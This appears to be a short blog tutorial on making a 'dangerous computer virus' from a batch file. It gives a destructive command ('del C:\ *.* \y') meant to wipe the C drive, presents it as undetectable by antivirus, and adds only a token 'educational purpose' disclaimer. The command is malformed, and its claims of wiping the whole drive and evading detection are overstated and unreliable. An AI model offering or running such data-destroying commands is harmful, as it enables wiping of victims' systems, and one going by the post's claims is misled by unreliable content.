How To make Dangerous computer virus

In my previous post i had teach you guys to create viruses in a very simple way. 
Now in this post, you will be guided to build simple yet very powerful or you can say dangerous computer virus by just using a batch file.
No software is required or needed to make this virus, we will ne using only Notepad to create this Devastating Virus. The best thing about this virus is that it can't be detected by any AntiVirus.

FAQS?
How this virus will work?
What will this virus do ?  
How harmful is it?

Ans:
You will create this virus using batch file programming. "C" Drive will completely vanish away on processing of this virus or we can say batch file. You will be amazed on listening that "This virus cannot be detected by any sort of antivirus". If you want to learn and gain knowledge about batch programming, visit my post about "Guide for Batch Programming.(Coming soon)"

Want to know,How to build the virus ?

•    Step 1. Open Notepad and copy below code into it.

• @echo off

• del C:\ *.* \y

•    2. Save this file as virus.bat (Name can be anything but .bat is compulsory and can't be replaced by anything else)

•    3. Now, running this file will delete all the content of C Drive and break down your computer, as it will delete all main files of Operating system.

Warning: Please don't try to run on your own computer or else it will clear out your "C" Drive and all important files required for Processing of Computer. I will not be responsible for any damage done to your computer.

Note: This post is only for educational purpose. Author of this post will not be responsible for Any harm caused "Intentionally or unintentionally" using the content of this post.

Thanks!